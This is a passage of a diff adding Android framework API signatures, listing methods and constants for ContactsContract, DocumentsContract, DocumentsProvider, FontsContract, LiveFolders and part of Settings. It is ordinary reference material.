+    method public static android.content.ContentProviderOperation newSetOperation(android.accounts.Account, byte[]);
+    method public static void set(android.content.ContentProviderClient, android.accounts.Account, byte[]) throws android.os.RemoteException;
+    field public static final String CONTENT_DIRECTORY = "syncstate";
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  public static final class ContactsContract.ProviderStatus {
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/provider_status";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DATABASE_CREATION_TIMESTAMP = "database_creation_timestamp";
+    field public static final String STATUS = "status";
+    field public static final int STATUS_BUSY = 1; // 0x1
+    field public static final int STATUS_EMPTY = 2; // 0x2
+    field public static final int STATUS_NORMAL = 0; // 0x0
+  }
+
+  public static final class ContactsContract.QuickContact {
+    ctor public ContactsContract.QuickContact();
+    method public static void showQuickContact(android.content.Context, android.view.View, android.net.Uri, int, String[]);
+    method public static void showQuickContact(android.content.Context, android.graphics.Rect, android.net.Uri, int, String[]);
+    method public static void showQuickContact(android.content.Context, android.view.View, android.net.Uri, String[], String);
+    method public static void showQuickContact(android.content.Context, android.graphics.Rect, android.net.Uri, String[], String);
+    field public static final String ACTION_QUICK_CONTACT = "android.provider.action.QUICK_CONTACT";
+    field public static final String EXTRA_EXCLUDE_MIMES = "android.provider.extra.EXCLUDE_MIMES";
+    field public static final String EXTRA_MODE = "android.provider.extra.MODE";
+    field public static final String EXTRA_PRIORITIZED_MIMETYPE = "android.provider.extra.PRIORITIZED_MIMETYPE";
+    field public static final int MODE_LARGE = 3; // 0x3
+    field public static final int MODE_MEDIUM = 2; // 0x2
+    field public static final int MODE_SMALL = 1; // 0x1
+  }
+
+  public static final class ContactsContract.RawContacts implements android.provider.BaseColumns android.provider.ContactsContract.ContactNameColumns android.provider.ContactsContract.ContactOptionsColumns android.provider.ContactsContract.RawContactsColumns android.provider.ContactsContract.SyncColumns {
+    method public static android.net.Uri getContactLookupUri(android.content.ContentResolver, android.net.Uri);
+    method @Nullable public static String getLocalAccountName(@NonNull android.content.Context);
+    method @Nullable public static String getLocalAccountType(@NonNull android.content.Context);
+    method public static android.content.EntityIterator newEntityIterator(android.database.Cursor);
+    field public static final int AGGREGATION_MODE_DEFAULT = 0; // 0x0
+    field public static final int AGGREGATION_MODE_DISABLED = 3; // 0x3
+    field @Deprecated public static final int AGGREGATION_MODE_IMMEDIATE = 1; // 0x1
+    field public static final int AGGREGATION_MODE_SUSPENDED = 2; // 0x2
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/raw_contact";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/raw_contact";
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  public static final class ContactsContract.RawContacts.Data implements android.provider.BaseColumns android.provider.ContactsContract.DataColumns {
+    field public static final String CONTENT_DIRECTORY = "data";
+  }
+
+  public static final class ContactsContract.RawContacts.DisplayPhoto {
+    field public static final String CONTENT_DIRECTORY = "display_photo";
+  }
+
+  public static final class ContactsContract.RawContacts.Entity implements android.provider.BaseColumns android.provider.ContactsContract.DataColumns {
+    field public static final String CONTENT_DIRECTORY = "entity";
+    field public static final String DATA_ID = "data_id";
+  }
+
+  protected static interface ContactsContract.RawContactsColumns {
+    field public static final String ACCOUNT_TYPE_AND_DATA_SET = "account_type_and_data_set";
+    field public static final String AGGREGATION_MODE = "aggregation_mode";
+    field public static final String BACKUP_ID = "backup_id";
+    field public static final String CONTACT_ID = "contact_id";
+    field public static final String DATA_SET = "data_set";
+    field public static final String DELETED = "deleted";
+    field @Deprecated public static final String METADATA_DIRTY = "metadata_dirty";
+    field public static final String RAW_CONTACT_IS_READ_ONLY = "raw_contact_is_read_only";
+    field public static final String RAW_CONTACT_IS_USER_PROFILE = "raw_contact_is_user_profile";
+  }
+
+  public static final class ContactsContract.RawContactsEntity implements android.provider.BaseColumns android.provider.ContactsContract.DataColumns android.provider.ContactsContract.RawContactsColumns {
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/raw_contact_entity";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DATA_ID = "data_id";
+    field public static final android.net.Uri PROFILE_CONTENT_URI;
+  }
+
+  public static class ContactsContract.SearchSnippets {
+    ctor public ContactsContract.SearchSnippets();
+    field public static final String DEFERRED_SNIPPETING_KEY = "deferred_snippeting";
+    field public static final String SNIPPET = "snippet";
+  }
+
+  public static final class ContactsContract.Settings implements android.provider.ContactsContract.SettingsColumns {
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/setting";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/setting";
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  protected static interface ContactsContract.SettingsColumns {
+    field public static final String ACCOUNT_NAME = "account_name";
+    field public static final String ACCOUNT_TYPE = "account_type";
+    field public static final String ANY_UNSYNCED = "any_unsynced";
+    field public static final String DATA_SET = "data_set";
+    field public static final String SHOULD_SYNC = "should_sync";
+    field public static final String UNGROUPED_COUNT = "summ_count";
+    field public static final String UNGROUPED_VISIBLE = "ungrouped_visible";
+    field public static final String UNGROUPED_WITH_PHONES = "summ_phones";
+  }
+
+  public static final class ContactsContract.SimAccount implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public String getAccountName();
+    method @NonNull public String getAccountType();
+    method public int getEfType();
+    method public int getSimSlotIndex();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int ADN_EF_TYPE = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.provider.ContactsContract.SimAccount> CREATOR;
+    field public static final int FDN_EF_TYPE = 2; // 0x2
+    field public static final int SDN_EF_TYPE = 3; // 0x3
+    field public static final int UNKNOWN_EF_TYPE = 0; // 0x0
+  }
+
+  public static final class ContactsContract.SimContacts {
+    method @NonNull public static java.util.List<android.provider.ContactsContract.SimAccount> getSimAccounts(@NonNull android.content.ContentResolver);
+    field public static final String ACTION_SIM_ACCOUNTS_CHANGED = "android.provider.action.SIM_ACCOUNTS_CHANGED";
+  }
+
+  protected static interface ContactsContract.StatusColumns {
+    field public static final int AVAILABLE = 5; // 0x5
+    field public static final int AWAY = 2; // 0x2
+    field public static final int CAPABILITY_HAS_CAMERA = 4; // 0x4
+    field public static final int CAPABILITY_HAS_VIDEO = 2; // 0x2
+    field public static final int CAPABILITY_HAS_VOICE = 1; // 0x1
+    field public static final String CHAT_CAPABILITY = "chat_capability";
+    field public static final int DO_NOT_DISTURB = 4; // 0x4
+    field public static final int IDLE = 3; // 0x3
+    field public static final int INVISIBLE = 1; // 0x1
+    field public static final int OFFLINE = 0; // 0x0
+    field public static final String PRESENCE = "mode";
+    field @Deprecated public static final String PRESENCE_CUSTOM_STATUS = "status";
+    field @Deprecated public static final String PRESENCE_STATUS = "mode";
+    field public static final String STATUS = "status";
+    field public static final String STATUS_ICON = "status_icon";
+    field public static final String STATUS_LABEL = "status_label";
+    field public static final String STATUS_RES_PACKAGE = "status_res_package";
+    field public static final String STATUS_TIMESTAMP = "status_ts";
+  }
+
+  public static class ContactsContract.StatusUpdates implements android.provider.ContactsContract.PresenceColumns android.provider.ContactsContract.StatusColumns {
+    method public static final int getPresenceIconResourceId(int);
+    method public static final int getPresencePrecedence(int);
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/status-update";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/status-update";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final android.net.Uri PROFILE_CONTENT_URI;
+  }
+
+  protected static interface ContactsContract.SyncColumns extends android.provider.ContactsContract.BaseSyncColumns {
+    field public static final String ACCOUNT_NAME = "account_name";
+    field public static final String ACCOUNT_TYPE = "account_type";
+    field public static final String DIRTY = "dirty";
+    field public static final String SOURCE_ID = "sourceid";
+    field public static final String VERSION = "version";
+  }
+
+  public static final class ContactsContract.SyncState implements android.provider.SyncStateContract.Columns {
+    method public static byte[] get(android.content.ContentProviderClient, android.accounts.Account) throws android.os.RemoteException;
+    method public static android.util.Pair<android.net.Uri,byte[]> getWithUri(android.content.ContentProviderClient, android.accounts.Account) throws android.os.RemoteException;
+    method public static android.content.ContentProviderOperation newSetOperation(android.accounts.Account, byte[]);
+    method public static void set(android.content.ContentProviderClient, android.accounts.Account, byte[]) throws android.os.RemoteException;
+    field public static final String CONTENT_DIRECTORY = "syncstate";
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  public final class DocumentsContract {
+    method public static android.net.Uri buildChildDocumentsUri(String, String);
+    method public static android.net.Uri buildChildDocumentsUriUsingTree(android.net.Uri, String);
+    method public static android.net.Uri buildDocumentUri(String, String);
+    method public static android.net.Uri buildDocumentUriUsingTree(android.net.Uri, String);
+    method public static android.net.Uri buildRecentDocumentsUri(String, String);
+    method public static android.net.Uri buildRootUri(String, String);
+    method public static android.net.Uri buildRootsUri(String);
+    method public static android.net.Uri buildSearchDocumentsUri(String, String, String);
+    method public static android.net.Uri buildTreeDocumentUri(String, String);
+    method @Nullable public static android.net.Uri copyDocument(@NonNull android.content.ContentResolver, @NonNull android.net.Uri, @NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method @Nullable public static android.net.Uri createDocument(@NonNull android.content.ContentResolver, @NonNull android.net.Uri, @NonNull String, @NonNull String) throws java.io.FileNotFoundException;
+    method @Nullable public static android.content.IntentSender createWebLinkIntent(@NonNull android.content.ContentResolver, @NonNull android.net.Uri, @Nullable android.os.Bundle) throws java.io.FileNotFoundException;
+    method public static boolean deleteDocument(@NonNull android.content.ContentResolver, @NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method public static void ejectRoot(@NonNull android.content.ContentResolver, @NonNull android.net.Uri);
+    method @Nullable public static android.provider.DocumentsContract.Path findDocumentPath(@NonNull android.content.ContentResolver, @NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method public static String getDocumentId(android.net.Uri);
+    method @Nullable public static android.os.Bundle getDocumentMetadata(@NonNull android.content.ContentResolver, @NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method @Nullable public static android.graphics.Bitmap getDocumentThumbnail(@NonNull android.content.ContentResolver, @NonNull android.net.Uri, @NonNull android.graphics.Point, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method public static String getRootId(android.net.Uri);
+    method public static String getSearchDocumentsQuery(android.net.Uri);
+    method public static String getTreeDocumentId(android.net.Uri);
+    method public static boolean isChildDocument(@NonNull android.content.ContentResolver, @NonNull android.net.Uri, @NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method public static boolean isDocumentUri(android.content.Context, @Nullable android.net.Uri);
+    method public static boolean isRootUri(@NonNull android.content.Context, @Nullable android.net.Uri);
+    method public static boolean isRootsUri(@NonNull android.content.Context, @Nullable android.net.Uri);
+    method public static boolean isTreeUri(android.net.Uri);
+    method @Nullable public static android.net.Uri moveDocument(@NonNull android.content.ContentResolver, @NonNull android.net.Uri, @NonNull android.net.Uri, @NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method public static boolean removeDocument(@NonNull android.content.ContentResolver, @NonNull android.net.Uri, @NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method @Nullable public static android.net.Uri renameDocument(@NonNull android.content.ContentResolver, @NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException;
+    field public static final String ACTION_DOCUMENT_SETTINGS = "android.provider.action.DOCUMENT_SETTINGS";
+    field public static final String EXTRA_ERROR = "error";
+    field public static final String EXTRA_EXCLUDE_SELF = "android.provider.extra.EXCLUDE_SELF";
+    field public static final String EXTRA_INFO = "info";
+    field public static final String EXTRA_INITIAL_URI = "android.provider.extra.INITIAL_URI";
+    field public static final String EXTRA_LOADING = "loading";
+    field public static final String EXTRA_ORIENTATION = "android.provider.extra.ORIENTATION";
+    field public static final String EXTRA_PROMPT = "android.provider.extra.PROMPT";
+    field public static final String METADATA_EXIF = "android:documentExif";
+    field public static final String METADATA_TREE_COUNT = "android:metadataTreeCount";
+    field public static final String METADATA_TREE_SIZE = "android:metadataTreeSize";
+    field public static final String METADATA_TYPES = "android:documentMetadataTypes";
+    field public static final String PROVIDER_INTERFACE = "android.content.action.DOCUMENTS_PROVIDER";
+    field public static final String QUERY_ARG_DISPLAY_NAME = "android:query-arg-display-name";
+    field public static final String QUERY_ARG_EXCLUDE_MEDIA = "android:query-arg-exclude-media";
+    field public static final String QUERY_ARG_FILE_SIZE_OVER = "android:query-arg-file-size-over";
+    field public static final String QUERY_ARG_LAST_MODIFIED_AFTER = "android:query-arg-last-modified-after";
+    field public static final String QUERY_ARG_MIME_TYPES = "android:query-arg-mime-types";
+  }
+
+  public static final class DocumentsContract.Document {
+    field public static final String COLUMN_DISPLAY_NAME = "_display_name";
+    field public static final String COLUMN_DOCUMENT_ID = "document_id";
+    field public static final String COLUMN_FLAGS = "flags";
+    field public static final String COLUMN_ICON = "icon";
+    field public static final String COLUMN_LAST_MODIFIED = "last_modified";
+    field public static final String COLUMN_MIME_TYPE = "mime_type";
+    field public static final String COLUMN_SIZE = "_size";
+    field public static final String COLUMN_SUMMARY = "summary";
+    field public static final int FLAG_DIR_BLOCKS_OPEN_DOCUMENT_TREE = 32768; // 0x8000
+    field public static final int FLAG_DIR_PREFERS_GRID = 16; // 0x10
+    field public static final int FLAG_DIR_PREFERS_LAST_MODIFIED = 32; // 0x20
+    field public static final int FLAG_DIR_SUPPORTS_CREATE = 8; // 0x8
+    field public static final int FLAG_PARTIAL = 8192; // 0x2000
+    field public static final int FLAG_SUPPORTS_COPY = 128; // 0x80
+    field public static final int FLAG_SUPPORTS_DELETE = 4; // 0x4
+    field public static final int FLAG_SUPPORTS_METADATA = 16384; // 0x4000
+    field public static final int FLAG_SUPPORTS_MOVE = 256; // 0x100
+    field public static final int FLAG_SUPPORTS_REMOVE = 1024; // 0x400
+    field public static final int FLAG_SUPPORTS_RENAME = 64; // 0x40
+    field public static final int FLAG_SUPPORTS_SETTINGS = 2048; // 0x800
+    field public static final int FLAG_SUPPORTS_THUMBNAIL = 1; // 0x1
+    field public static final int FLAG_SUPPORTS_WRITE = 2; // 0x2
+    field public static final int FLAG_VIRTUAL_DOCUMENT = 512; // 0x200
+    field public static final int FLAG_WEB_LINKABLE = 4096; // 0x1000
+    field public static final String MIME_TYPE_DIR = "vnd.android.document/directory";
+  }
+
+  public static final class DocumentsContract.Path implements android.os.Parcelable {
+    ctor public DocumentsContract.Path(@Nullable String, java.util.List<java.lang.String>);
+    method public int describeContents();
+    method public java.util.List<java.lang.String> getPath();
+    method @Nullable public String getRootId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.provider.DocumentsContract.Path> CREATOR;
+  }
+
+  public static final class DocumentsContract.Root {
+    field public static final String COLUMN_AVAILABLE_BYTES = "available_bytes";
+    field public static final String COLUMN_CAPACITY_BYTES = "capacity_bytes";
+    field public static final String COLUMN_DOCUMENT_ID = "document_id";
+    field public static final String COLUMN_FLAGS = "flags";
+    field public static final String COLUMN_ICON = "icon";
+    field public static final String COLUMN_MIME_TYPES = "mime_types";
+    field public static final String COLUMN_QUERY_ARGS = "query_args";
+    field public static final String COLUMN_ROOT_ID = "root_id";
+    field public static final String COLUMN_SUMMARY = "summary";
+    field public static final String COLUMN_TITLE = "title";
+    field public static final int FLAG_EMPTY = 64; // 0x40
+    field public static final int FLAG_LOCAL_ONLY = 2; // 0x2
+    field public static final int FLAG_SUPPORTS_CREATE = 1; // 0x1
+    field public static final int FLAG_SUPPORTS_EJECT = 32; // 0x20
+    field public static final int FLAG_SUPPORTS_IS_CHILD = 16; // 0x10
+    field public static final int FLAG_SUPPORTS_RECENTS = 4; // 0x4
+    field public static final int FLAG_SUPPORTS_SEARCH = 8; // 0x8
+    field public static final String MIME_TYPE_ITEM = "vnd.android.document/root";
+  }
+
+  public abstract class DocumentsProvider extends android.content.ContentProvider {
+    ctor public DocumentsProvider();
+    method public String copyDocument(String, String) throws java.io.FileNotFoundException;
+    method public String createDocument(String, String, String) throws java.io.FileNotFoundException;
+    method public android.content.IntentSender createWebLinkIntent(String, @Nullable android.os.Bundle) throws java.io.FileNotFoundException;
+    method public final int delete(android.net.Uri, String, String[]);
+    method public void deleteDocument(String) throws java.io.FileNotFoundException;
+    method public void ejectRoot(String);
+    method public android.provider.DocumentsContract.Path findDocumentPath(@Nullable String, String) throws java.io.FileNotFoundException;
+    method @Nullable public android.os.Bundle getDocumentMetadata(@NonNull String) throws java.io.FileNotFoundException;
+    method public String[] getDocumentStreamTypes(String, String);
+    method public String getDocumentType(String) throws java.io.FileNotFoundException;
+    method public final String getType(android.net.Uri);
+    method public final android.net.Uri insert(android.net.Uri, android.content.ContentValues);
+    method public boolean isChildDocument(String, String);
+    method public String moveDocument(String, String, String) throws java.io.FileNotFoundException;
+    method public final android.content.res.AssetFileDescriptor openAssetFile(android.net.Uri, String) throws java.io.FileNotFoundException;
+    method public final android.content.res.AssetFileDescriptor openAssetFile(android.net.Uri, String, android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method public abstract android.os.ParcelFileDescriptor openDocument(String, String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method public android.content.res.AssetFileDescriptor openDocumentThumbnail(String, android.graphics.Point, android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method public final android.os.ParcelFileDescriptor openFile(android.net.Uri, String) throws java.io.FileNotFoundException;
+    method public final android.os.ParcelFileDescriptor openFile(android.net.Uri, String, android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method public final android.content.res.AssetFileDescriptor openTypedAssetFile(android.net.Uri, String, android.os.Bundle) throws java.io.FileNotFoundException;
+    method public final android.content.res.AssetFileDescriptor openTypedAssetFile(android.net.Uri, String, android.os.Bundle, android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method public android.content.res.AssetFileDescriptor openTypedDocument(String, String, android.os.Bundle, android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method public final android.database.Cursor query(android.net.Uri, String[], String, String[], String);
+    method public final android.database.Cursor query(android.net.Uri, String[], android.os.Bundle, android.os.CancellationSignal);
+    method public abstract android.database.Cursor queryChildDocuments(String, String[], String) throws java.io.FileNotFoundException;
+    method public android.database.Cursor queryChildDocuments(String, @Nullable String[], @Nullable android.os.Bundle) throws java.io.FileNotFoundException;
+    method public abstract android.database.Cursor queryDocument(String, String[]) throws java.io.FileNotFoundException;
+    method public android.database.Cursor queryRecentDocuments(String, String[]) throws java.io.FileNotFoundException;
+    method @Nullable public android.database.Cursor queryRecentDocuments(@NonNull String, @Nullable String[], @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method public abstract android.database.Cursor queryRoots(String[]) throws java.io.FileNotFoundException;
+    method public android.database.Cursor querySearchDocuments(String, String, String[]) throws java.io.FileNotFoundException;
+    method @Nullable public android.database.Cursor querySearchDocuments(@NonNull String, @Nullable String[], @NonNull android.os.Bundle) throws java.io.FileNotFoundException;
+    method public void removeDocument(String, String) throws java.io.FileNotFoundException;
+    method public String renameDocument(String, String) throws java.io.FileNotFoundException;
+    method public final void revokeDocumentPermission(String);
+    method public final int update(android.net.Uri, android.content.ContentValues, String, String[]);
+  }
+
+  @Deprecated public final class FontRequest {
+    ctor @Deprecated public FontRequest(@NonNull String, @NonNull String, @NonNull String);
+    ctor @Deprecated public FontRequest(@NonNull String, @NonNull String, @NonNull String, @NonNull java.util.List<java.util.List<byte[]>>);
+    method @Deprecated public java.util.List<java.util.List<byte[]>> getCertificates();
+    method @Deprecated public String getProviderAuthority();
+    method @Deprecated public String getProviderPackage();
+    method @Deprecated public String getQuery();
+  }
+
+  @Deprecated public class FontsContract {
+    method @Deprecated public static android.graphics.Typeface buildTypeface(@NonNull android.content.Context, @Nullable android.os.CancellationSignal, @NonNull android.provider.FontsContract.FontInfo[]);
+    method @Deprecated @NonNull public static android.provider.FontsContract.FontFamilyResult fetchFonts(@NonNull android.content.Context, @Nullable android.os.CancellationSignal, @NonNull android.provider.FontRequest) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @Deprecated public static void requestFonts(@NonNull android.content.Context, @NonNull android.provider.FontRequest, @NonNull android.os.Handler, @Nullable android.os.CancellationSignal, @NonNull android.provider.FontsContract.FontRequestCallback);
+  }
+
+  @Deprecated public static final class FontsContract.Columns implements android.provider.BaseColumns {
+    field @Deprecated public static final String FILE_ID = "file_id";
+    field @Deprecated public static final String ITALIC = "font_italic";
+    field @Deprecated public static final String RESULT_CODE = "result_code";
+    field @Deprecated public static final int RESULT_CODE_FONT_NOT_FOUND = 1; // 0x1
+    field @Deprecated public static final int RESULT_CODE_FONT_UNAVAILABLE = 2; // 0x2
+    field @Deprecated public static final int RESULT_CODE_MALFORMED_QUERY = 3; // 0x3
+    field @Deprecated public static final int RESULT_CODE_OK = 0; // 0x0
+    field @Deprecated public static final String TTC_INDEX = "font_ttc_index";
+    field @Deprecated public static final String VARIATION_SETTINGS = "font_variation_settings";
+    field @Deprecated public static final String WEIGHT = "font_weight";
+  }
+
+  @Deprecated public static class FontsContract.FontFamilyResult {
+    method @Deprecated @NonNull public android.provider.FontsContract.FontInfo[] getFonts();
+    method @Deprecated public int getStatusCode();
+    field @Deprecated public static final int STATUS_OK = 0; // 0x0
+    field @Deprecated public static final int STATUS_REJECTED = 3; // 0x3
+    field @Deprecated public static final int STATUS_UNEXPECTED_DATA_PROVIDED = 2; // 0x2
+    field @Deprecated public static final int STATUS_WRONG_CERTIFICATES = 1; // 0x1
+  }
+
+  @Deprecated public static class FontsContract.FontInfo {
+    method @Deprecated @Nullable public android.graphics.fonts.FontVariationAxis[] getAxes();
+    method @Deprecated public int getResultCode();
+    method @Deprecated @IntRange(from=0) public int getTtcIndex();
+    method @Deprecated @NonNull public android.net.Uri getUri();
+    method @Deprecated @IntRange(from=1, to=1000) public int getWeight();
+    method @Deprecated public boolean isItalic();
+  }
+
+  @Deprecated public static class FontsContract.FontRequestCallback {
+    ctor @Deprecated public FontsContract.FontRequestCallback();
+    method @Deprecated public void onTypefaceRequestFailed(int);
+    method @Deprecated public void onTypefaceRetrieved(android.graphics.Typeface);
+    field @Deprecated public static final int FAIL_REASON_FONT_LOAD_ERROR = -3; // 0xfffffffd
+    field @Deprecated public static final int FAIL_REASON_FONT_NOT_FOUND = 1; // 0x1
+    field @Deprecated public static final int FAIL_REASON_FONT_UNAVAILABLE = 2; // 0x2
+    field @Deprecated public static final int FAIL_REASON_MALFORMED_QUERY = 3; // 0x3
+    field @Deprecated public static final int FAIL_REASON_PROVIDER_NOT_FOUND = -1; // 0xffffffff
+    field @Deprecated public static final int FAIL_REASON_WRONG_CERTIFICATES = -2; // 0xfffffffe
+  }
+
+  @Deprecated public final class LiveFolders implements android.provider.BaseColumns {
+    field @Deprecated public static final String ACTION_CREATE_LIVE_FOLDER = "android.intent.action.CREATE_LIVE_FOLDER";
+    field @Deprecated public static final String DESCRIPTION = "description";
+    field @Deprecated public static final int DISPLAY_MODE_GRID = 1; // 0x1
+    field @Deprecated public static final int DISPLAY_MODE_LIST = 2; // 0x2
+    field @Deprecated public static final String EXTRA_LIVE_FOLDER_BASE_INTENT = "android.intent.extra.livefolder.BASE_INTENT";
+    field @Deprecated public static final String EXTRA_LIVE_FOLDER_DISPLAY_MODE = "android.intent.extra.livefolder.DISPLAY_MODE";
+    field @Deprecated public static final String EXTRA_LIVE_FOLDER_ICON = "android.intent.extra.livefolder.ICON";
+    field @Deprecated public static final String EXTRA_LIVE_FOLDER_NAME = "android.intent.extra.livefolder.NAME";
+    field @Deprecated public static final String ICON_BITMAP = "icon_bitmap";
+    field @Deprecated public static final String ICON_PACKAGE = "icon_package";
+    field @Deprecated public static final String ICON_RESOURCE = "icon_resource";
+    field @Deprecated public static final String INTENT = "intent";
+    field @Deprecated public static final String NAME = "name";
+  }
+
+  public interface OpenableColumns {
+    field public static final String DISPLAY_NAME = "_display_name";
+    field public static final String SIZE = "_size";
+  }
+
+  public class SearchRecentSuggestions {
+    ctor public SearchRecentSuggestions(android.content.Context, String, int);
+    method public void clearHistory();
+    method public void saveRecentQuery(String, String);
+    method protected void truncateHistory(android.content.ContentResolver, int);
+    field public static final String[] QUERIES_PROJECTION_1LINE;
+    field public static final String[] QUERIES_PROJECTION_2LINE;
+    field public static final int QUERIES_PROJECTION_DATE_INDEX = 1; // 0x1
+    field public static final int QUERIES_PROJECTION_DISPLAY1_INDEX = 3; // 0x3
+    field public static final int QUERIES_PROJECTION_DISPLAY2_INDEX = 4; // 0x4
+    field public static final int QUERIES_PROJECTION_QUERY_INDEX = 2; // 0x2
+  }
+
+  public final class Settings {
+    ctor public Settings();
+    method public static boolean canDrawOverlays(android.content.Context);
+    field public static final String ACTION_ACCESSIBILITY_SETTINGS = "android.settings.ACCESSIBILITY_SETTINGS";
+    field public static final String ACTION_ADD_ACCOUNT = "android.settings.ADD_ACCOUNT_SETTINGS";
+    field public static final String ACTION_AIRPLANE_MODE_SETTINGS = "android.settings.AIRPLANE_MODE_SETTINGS";
+    field public static final String ACTION_APN_SETTINGS = "android.settings.APN_SETTINGS";
+    field public static final String ACTION_APPLICATION_DETAILS_SETTINGS = "android.settings.APPLICATION_DETAILS_SETTINGS";
+    field public static final String ACTION_APPLICATION_DEVELOPMENT_SETTINGS = "android.settings.APPLICATION_DEVELOPMENT_SETTINGS";
+    field public static final String ACTION_APPLICATION_SETTINGS = "android.settings.APPLICATION_SETTINGS";
+    field public static final String ACTION_APP_NOTIFICATION_BUBBLE_SETTINGS = "android.settings.APP_NOTIFICATION_BUBBLE_SETTINGS";
+    field public static final String ACTION_APP_NOTIFICATION_SETTINGS = "android.settings.APP_NOTIFICATION_SETTINGS";
+    field public static final String ACTION_APP_OPEN_BY_DEFAULT_SETTINGS = "android.settings.APP_OPEN_BY_DEFAULT_SETTINGS";
+    field public static final String ACTION_APP_SEARCH_SETTINGS = "android.settings.APP_SEARCH_SETTINGS";
+    field public static final String ACTION_APP_USAGE_SETTINGS = "android.settings.action.APP_USAGE_SETTINGS";
+    field public static final String ACTION_AUTO_ROTATE_SETTINGS = "android.settings.AUTO_ROTATE_SETTINGS";
+    field public static final String ACTION_BATTERY_SAVER_SETTINGS = "android.settings.BATTERY_SAVER_SETTINGS";
+    field public static final String ACTION_BIOMETRIC_ENROLL = "android.settings.BIOMETRIC_ENROLL";
+    field public static final String ACTION_BLUETOOTH_SETTINGS = "android.settings.BLUETOOTH_SETTINGS";
+    field public static final String ACTION_CAPTIONING_SETTINGS = "android.settings.CAPTIONING_SETTINGS";
+    field public static final String ACTION_CAST_SETTINGS = "android.settings.CAST_SETTINGS";
+    field public static final String ACTION_CHANNEL_NOTIFICATION_SETTINGS = "android.settings.CHANNEL_NOTIFICATION_SETTINGS";
+    field public static final String ACTION_CONDITION_PROVIDER_SETTINGS = "android.settings.ACTION_CONDITION_PROVIDER_SETTINGS";
+    field public static final String ACTION_DATA_ROAMING_SETTINGS = "android.settings.DATA_ROAMING_SETTINGS";
+    field public static final String ACTION_DATA_USAGE_SETTINGS = "android.settings.DATA_USAGE_SETTINGS";
+    field public static final String ACTION_DATE_SETTINGS = "android.settings.DATE_SETTINGS";
+    field public static final String ACTION_DEVICE_INFO_SETTINGS = "android.settings.DEVICE_INFO_SETTINGS";
+    field public static final String ACTION_DISPLAY_SETTINGS = "android.settings.DISPLAY_SETTINGS";
+    field public static final String ACTION_DREAM_SETTINGS = "android.settings.DREAM_SETTINGS";
+    field @Deprecated public static final String ACTION_FINGERPRINT_ENROLL = "android.settings.FINGERPRINT_ENROLL";
+    field public static final String ACTION_HARD_KEYBOARD_SETTINGS = "android.settings.HARD_KEYBOARD_SETTINGS";
+    field public static final String ACTION_HOME_SETTINGS = "android.settings.HOME_SETTINGS";
+    field public static final String ACTION_IGNORE_BACKGROUND_DATA_RESTRICTIONS_SETTINGS = "android.settings.IGNORE_BACKGROUND_DATA_RESTRICTIONS_SETTINGS";
+    field public static final String ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS = "android.settings.IGNORE_BATTERY_OPTIMIZATION_SETTINGS";
+    field public static final String ACTION_INPUT_METHOD_SETTINGS = "android.settings.INPUT_METHOD_SETTINGS";
+    field public static final String ACTION_INPUT_METHOD_SUBTYPE_SETTINGS = "android.settings.INPUT_METHOD_SUBTYPE_SETTINGS";
+    field public static final String ACTION_INTERNAL_STORAGE_SETTINGS = "android.settings.INTERNAL_STORAGE_SETTINGS";
+    field public static final String ACTION_LOCALE_SETTINGS = "android.settings.LOCALE_SETTINGS";
+    field public static final String ACTION_LOCATION_SOURCE_SETTINGS = "android.settings.LOCATION_SOURCE_SETTINGS";
+    field public static final String ACTION_MANAGE_ALL_APPLICATIONS_SETTINGS = "android.settings.MANAGE_ALL_APPLICATIONS_SETTINGS";
+    field public static final String ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION = "android.settings.MANAGE_ALL_FILES_ACCESS_PERMISSION";
+    field public static final String ACTION_MANAGE_ALL_SIM_PROFILES_SETTINGS = "android.settings.MANAGE_ALL_SIM_PROFILES_SETTINGS";
+    field public static final String ACTION_MANAGE_APPLICATIONS_SETTINGS = "android.settings.MANAGE_APPLICATIONS_SETTINGS";
+    field public static final String ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION = "android.settings.MANAGE_APP_ALL_FILES_ACCESS_PERMISSION";
+    field public static final String ACTION_MANAGE_DEFAULT_APPS_SETTINGS = "android.settings.MANAGE_DEFAULT_APPS_SETTINGS";
+    field public static final String ACTION_MANAGE_OVERLAY_PERMISSION = "android.settings.action.MANAGE_OVERLAY_PERMISSION";
